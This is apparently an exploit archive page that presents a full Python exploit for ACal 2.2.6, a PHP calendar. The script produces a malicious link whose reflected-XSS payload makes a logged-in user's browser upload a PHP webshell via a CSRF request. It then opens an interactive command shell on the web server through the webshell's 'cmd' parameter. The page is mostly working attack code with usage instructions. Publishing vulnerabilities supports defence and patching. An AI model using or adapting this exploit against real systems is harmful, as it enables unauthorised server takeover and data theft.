exploit the possibilities

ACal 2.2.6 Remote Code Execution

ACal 2.2.6 Remote Code Execution
Posted May 15, 2020
Authored by Bobby Cooke

ACal version 2.2.6 suffers from a one-click remote code execution vulnerability.

tags | exploit, remote, code execution
MD5 | 168d9516623ec5c828c45bf6cbea0151

ACal 2.2.6 Remote Code Execution

Change Mirror Download
# Exploit Title: ACal v2.2.6 - 1-Click Remote Code Execution
# Exploit Author: Bobby Cooke
# Date: May 14th, 2020
# Vendor Homepage: http://acalproj.sourceforge.net/
# Software Link: http://prdownloads.sourceforge.net/acalproj/ACal-2.2.6.tar.gz?download
# Version: 2.2.6
# Tested On: Windows 10 Pro 1909 (x64_86) + XAMPP 7.4.4 (the Hosting Webserver)
# Tested Against: Windows 10 1909 IE & Edge Browser (Client) & Linux Firefox 68.2.0esr
# Exploit Tested On: Python 2.7.17
# Vulnerability Description:
# ACal v2.2.6 suffers from multiple Vulnerabilities allowing Remote Attackers to gain Remote Code Execution (RCE) on the Hosting Webserver via an Authenticated User clicking a Maliciously Crafted URL Link; launching a Sophisticated Attack-Chain to fully compromise the server.
# Exploit Details:
# 1. When an Authenticated User clicks the maliciously crafted URL Link, the '/calendar.php' webpage is exploited using a Reflected Cross-Site Scripting (XSS) attack in the vulnerable 'year' parameter with a GET request.
# 2. The XSS script executes JavaScript code within the clients browser and "Rides" the authenticated session to perform a Cross-Site Request Forgery (CSRF) attack on the vulnerable 'insert_img.php' webpage.
# 3. Using an XMLHttpRequest, the JavaScript code dynamically generates & uploads a malicious PHP file to the Webserver with a malicious POST request.
# 4. After the Malicious PHP Webshell has been uploaded to the Webserver, the Exploit connects to the Webserver as an Unauthenticated User.
# 5. Once connected, the Exploit communicates with the PHP Webshell on the Webserver using the GET parameter 'cmd' to gain interactive Remote Code Execution (RCE) on the Webserver.

import requests, sys, urllib
from colorama import Fore, Back, Style

requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)

def urlEncode(javascript):
return urllib.quote(javascript)

def webshell(WEBAPP_URL):
try:
WEB_SHELL = WEBAPP_URL+'uploads/webshell.php'
getdir = {'cmd': 'echo %CD%'}
r1 = requests.get(WEB_SHELL, params=getdir, verify=False)
status = r1.status_code
if status != 200:
print Style.BRIGHT+Fore.RED+"[!] "+Fore.RESET+"Could not connect to the webshell. Have an Authenticated User visit the generated URL in their Browser and Relaunch."+Style.RESET_ALL
r1.raise_for_status()
print(Fore.GREEN+'[+] '+Fore.RESET+'Successfully connected to webshell.')
cwd = r1.text
cwd = cwd.replace('\n','> ')
term = Style.BRIGHT+Fore.GREEN+cwd+Fore.RESET
while True:
cmd = raw_input(term)
command = {'cmd': cmd}
r2 = requests.get(WEB_SHELL, params=command, verify=False)
status = r2.status_code
if status != 200:
r2.raise_for_status()
response2 = r2.text
print(response2)
except:
print("\r\nExiting.")
sys.exit(-1)

def genXhrPayload(WEBAPP_URL):
XHR_PAYLOAD = '<script>'
XHR_PAYLOAD += 'function read_body(xhr) { '
XHR_PAYLOAD += 'var data; '
XHR_PAYLOAD += 'if (!xhr.responseType || xhr.responseType === "text") { '
XHR_PAYLOAD += 'data = xhr.responseText; '
XHR_PAYLOAD += '} else if (xhr.responseType === "document") { '
XHR_PAYLOAD += 'data = xhr.responseXML; '
XHR_PAYLOAD += '} else if (xhr.responseType === "json") { '
XHR_PAYLOAD += 'data = xhr.responseJSON; '
XHR_PAYLOAD += '} else { '
XHR_PAYLOAD += 'data = xhr.response; '
XHR_PAYLOAD += '}; '
XHR_PAYLOAD += 'return data; '
XHR_PAYLOAD += '}; '
XHR_PAYLOAD += 'var xhr = new XMLHttpRequest(); '
XHR_PAYLOAD += 'xhr.onreadystatechange = function() { '
XHR_PAYLOAD += 'if (xhr.readyState == XMLHttpRequest.DONE) { '
XHR_PAYLOAD += 'console.log(read_body(xhr)); '
XHR_PAYLOAD += '}; '
XHR_PAYLOAD += '}; '
XHR_PAYLOAD += 'var fd = new FormData(); '
XHR_PAYLOAD += "var content = '<?php echo shell_exec($_GET[\"cmd\"]); ?>'; "
XHR_PAYLOAD += 'var blob = new Blob([content], { type: "application/x-php"}); '
XHR_PAYLOAD += 'fd.append("userfile", blob, "webshell.php"); '
XHR_PAYLOAD += 'fd.append("url", "http://"); '
XHR_PAYLOAD += 'console.log(fd); '
XHR_PAYLOAD += "xhr.open('POST', '"+WEBAPP_URL+"insert_img.php?upload=file', true); "
XHR_PAYLOAD += 'xhr.send(fd); '
XHR_PAYLOAD += '</script>'
return XHR_PAYLOAD

def formatHelp(STRING):
return Style.BRIGHT+Fore.RED+STRING+Fore.RESET

def header():
BL = Style.BRIGHT+Fore.GREEN
RS = Style.RESET_ALL
FR = Fore.RESET
SIG = BL+' /\\\n'+RS
SIG += Fore.YELLOW+'/vvvvvvvvvvvv '+BL+'\\'+FR+'--------------------------------------,\n'
SIG += Fore.YELLOW+'`^^^^^^^^^^^^'+BL+' /'+FR+'============'+Fore.RED+'BOKU'+FR+'====================="\n'
SIG += BL+' \/'+RS+'\n'
return SIG

if __name__ == "__main__":
print header();
if len(sys.argv) != 2:
print formatHelp("(+) Usage:\t python %s <WEBAPP_URL>" % sys.argv[0])
print formatHelp("(+) Example:\t python %s 'https://10.0.0.3:443/calendar/'" % sys.argv[0])
sys.exit(-1)
WEBAPP_URL = sys.argv[1]
CSRF_ATTACK = genXhrPayload(WEBAPP_URL)
ENCODED_PAYLOAD = urlEncode(CSRF_ATTACK)
print(Style.BRIGHT+Fore.BLUE+'[+] '+Fore.RESET+'To execute the '+Fore.RED+'Reflected XSS Session-Riding CSRF Attack'+Fore.RESET+', have an '+Fore.GREEN+'Authenticated User '+Fore.RESET+'visit '+Fore.CYAN+'this URL'+Fore.RESET+' in their '+Fore.BLUE+'Browser'+Fore.RESET+':')
print Fore.CYAN+WEBAPP_URL+'calendar.php?year='+ENCODED_PAYLOAD+'&month=05#'+Fore.RESET
webshell(WEBAPP_URL)
Login or Register to add favorites

File Archive:

October 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    25 Files
  • 2
    Oct 2nd
    0 Files
  • 3
    Oct 3rd
    0 Files
  • 4
    Oct 4th
    0 Files
  • 5
    Oct 5th
    0 Files
  • 6
    Oct 6th
    0 Files
  • 7
    Oct 7th
    0 Files
  • 8
    Oct 8th
    0 Files
  • 9
    Oct 9th
    0 Files
  • 10
    Oct 10th
    0 Files
  • 11
    Oct 11th
    0 Files
  • 12
    Oct 12th
    0 Files
  • 13
    Oct 13th
    0 Files
  • 14
    Oct 14th
    0 Files
  • 15
    Oct 15th
    0 Files
  • 16
    Oct 16th
    0 Files
  • 17
    Oct 17th
    0 Files
  • 18
    Oct 18th
    0 Files
  • 19
    Oct 19th
    0 Files
  • 20
    Oct 20th
    0 Files
  • 21
    Oct 21st
    0 Files
  • 22
    Oct 22nd
    0 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close